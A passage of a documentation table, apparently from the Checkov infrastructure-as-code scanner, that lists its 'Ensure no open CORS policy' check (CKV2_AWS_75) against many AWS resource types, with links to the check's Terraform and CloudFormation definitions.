[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3513 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3514 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3515 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_propagation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3516 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_propagation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3517 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3518 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3519 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3520 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3521 | CKV2_AWS_75 | resource | aws_ecr_account_setting | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3522 | CKV2_AWS_75 | resource | aws_ecr_account_setting | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3523 | CKV2_AWS_75 | resource | aws_ecr_lifecycle_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3524 | CKV2_AWS_75 | resource | aws_ecr_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3525 | CKV2_AWS_75 | resource | aws_ecr_pull_through_cache_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3526 | CKV2_AWS_75 | resource | aws_ecr_pull_through_cache_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3527 | CKV2_AWS_75 | resource | aws_ecr_registry_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3528 | CKV2_AWS_75 | resource | aws_ecr_registry_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3529 | CKV2_AWS_75 | resource | aws_ecr_registry_scanning_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3530 | CKV2_AWS_75 | resource | aws_ecr_registry_scanning_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3531 | CKV2_AWS_75 | resource | aws_ecr_replication_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3532 | CKV2_AWS_75 | resource | aws_ecr_replication_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3533 | CKV2_AWS_75 | resource | aws_ecr_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3534 | CKV2_AWS_75 | resource | aws_ecr_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3535 | CKV2_AWS_75 | resource | aws_ecr_repository_creation_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3536 | CKV2_AWS_75 | resource | aws_ecr_repository_creation_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3537 | CKV2_AWS_75 | resource | aws_ecr_repository_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3538 | CKV2_AWS_75 | resource | aws_ecr_repository_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3539 | CKV2_AWS_75 | resource | aws_ecrpublic_repository | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3540 | CKV2_AWS_75 | resource | aws_ecrpublic_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3541 | CKV2_AWS_75 | resource | aws_ecrpublic_repository_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3542 | CKV2_AWS_75 | resource | aws_ecrpublic_repository_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3543 | CKV2_AWS_75 | resource | aws_ecs_account_setting_default | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3544 | CKV2_AWS_75 | resource | aws_ecs_account_setting_default | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3545 | CKV2_AWS_75 | resource | aws_ecs_capacity_provider | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3546 | CKV2_AWS_75 | resource | aws_ecs_capacity_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3547 | CKV2_AWS_75 | resource | aws_ecs_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3548 | CKV2_AWS_75 | resource | aws_ecs_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3549 | CKV2_AWS_75 | resource | aws_ecs_cluster_capacity_providers | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3550 | CKV2_AWS_75 | resource | aws_ecs_cluster_capacity_providers | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3551 | CKV2_AWS_75 | resource | aws_ecs_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3552 | CKV2_AWS_75 | resource | aws_ecs_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3553 | CKV2_AWS_75 | resource | aws_ecs_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3554 | CKV2_AWS_75 | resource | aws_ecs_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3555 | CKV2_AWS_75 | resource | aws_ecs_task_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3556 | CKV2_AWS_75 | resource | aws_ecs_task_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3557 | CKV2_AWS_75 | resource | aws_ecs_task_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3558 | CKV2_AWS_75 | resource | aws_ecs_task_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3559 | CKV2_AWS_75 | resource | aws_efs_access_point | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3560 | CKV2_AWS_75 | resource | aws_efs_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3561 | CKV2_AWS_75 | resource | aws_efs_backup_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3562 | CKV2_AWS_75 | resource | aws_efs_backup_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3563 | CKV2_AWS_75 | resource | aws_efs_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3564 | CKV2_AWS_75 | resource | aws_efs_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3565 | CKV2_AWS_75 | resource | aws_efs_file_system_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3566 | CKV2_AWS_75 | resource | aws_efs_file_system_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3567 | CKV2_AWS_75 | resource | aws_efs_mount_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3568 | CKV2_AWS_75 | resource | aws_efs_mount_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3569 | CKV2_AWS_75 | resource | aws_efs_replication_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3570 | CKV2_AWS_75 | resource | aws_efs_replication_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3571 | CKV2_AWS_75 | resource | aws_egress_only_internet_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3572 | CKV2_AWS_75 | resource | aws_egress_only_internet_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3573 | CKV2_AWS_75 | resource | aws_eip | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3574 | CKV2_AWS_75 | resource | aws_eip | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3575 | CKV2_AWS_75 | resource | aws_eip_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3576 | CKV2_AWS_75 | resource | aws_eip_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3577 | CKV2_AWS_75 | resource | aws_eip_domain_name | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3578 | CKV2_AWS_75 | resource | aws_eip_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3579 | CKV2_AWS_75 | resource | aws_eks_access_entry | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3580 | CKV2_AWS_75 | resource | aws_eks_access_entry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3581 | CKV2_AWS_75 | resource | aws_eks_access_policy_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3582 | CKV2_AWS_75 | resource | aws_eks_access_policy_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3583 | CKV2_AWS_75 | resource | aws_eks_addon | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3584 | CKV2_AWS_75 | resource | aws_eks_addon | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3585 | CKV2_AWS_75 | resource | aws_eks_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3586 | CKV2_AWS_75 | resource | aws_eks_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3587 | CKV2_AWS_75 | resource | aws_eks_fargate_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3588 | CKV2_AWS_75 | resource | aws_eks_fargate_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3589 | CKV2_AWS_75 | resource | aws_eks_identity_provider_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3590 | CKV2_AWS_75 | resource | aws_eks_identity_provider_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3591 | CKV2_AWS_75 | resource | aws_eks_node_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3592 | CKV2_AWS_75 | resource | aws_eks_node_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3593 | CKV2_AWS_75 | resource | aws_eks_pod_identity_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3594 | CKV2_AWS_75 | resource | aws_eks_pod_identity_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3595 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3596 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3597 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3598 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3599 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_configuration_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3600 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_configuration_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3601 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3602 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3603 | CKV2_AWS_75 | resource | aws_elasticache_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3604 | CKV2_AWS_75 | resource | aws_elasticache_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3605 | CKV2_AWS_75 | resource | aws_elasticache_global_replication_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3606 | CKV2_AWS_75 | resource | aws_elasticache_global_replication_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3607 | CKV2_AWS_75 | resource | aws_elasticache_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3608 | CKV2_AWS_75 | resource | aws_elasticache_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3609 | CKV2_AWS_75 | resource | aws_elasticache_replication_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3610 | CKV2_AWS_75 | resource | aws_elasticache_replication_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3611 | CKV2_AWS_75 | resource | aws_elasticache_reserved_cache_node | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3612 | CKV2_AWS_75 | resource | aws_elasticache_reserved_cache_node | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3613 | CKV2_AWS_75 | resource | aws_elasticache_security_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3614 | CKV2_AWS_75 | resource | aws_elasticache_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3615 | CKV2_AWS_75 | resource | aws_elasticache_serverless_cache | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3616 | CKV2_AWS_75 | resource | aws_elasticache_serverless_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3617 | CKV2_AWS_75 | resource | aws_elasticache_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3618 | CKV2_AWS_75 | resource | aws_elasticache_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3619 | CKV2_AWS_75 | resource | aws_elasticache_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3620 | CKV2_AWS_75 | resource | aws_elasticache_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3621 | CKV2_AWS_75 | resource | aws_elasticache_user_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3622 | CKV2_AWS_75 | resource | aws_elasticache_user_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3623 | CKV2_AWS_75 | resource | aws_elasticache_user_group_association | Ensure no open CORS policy | 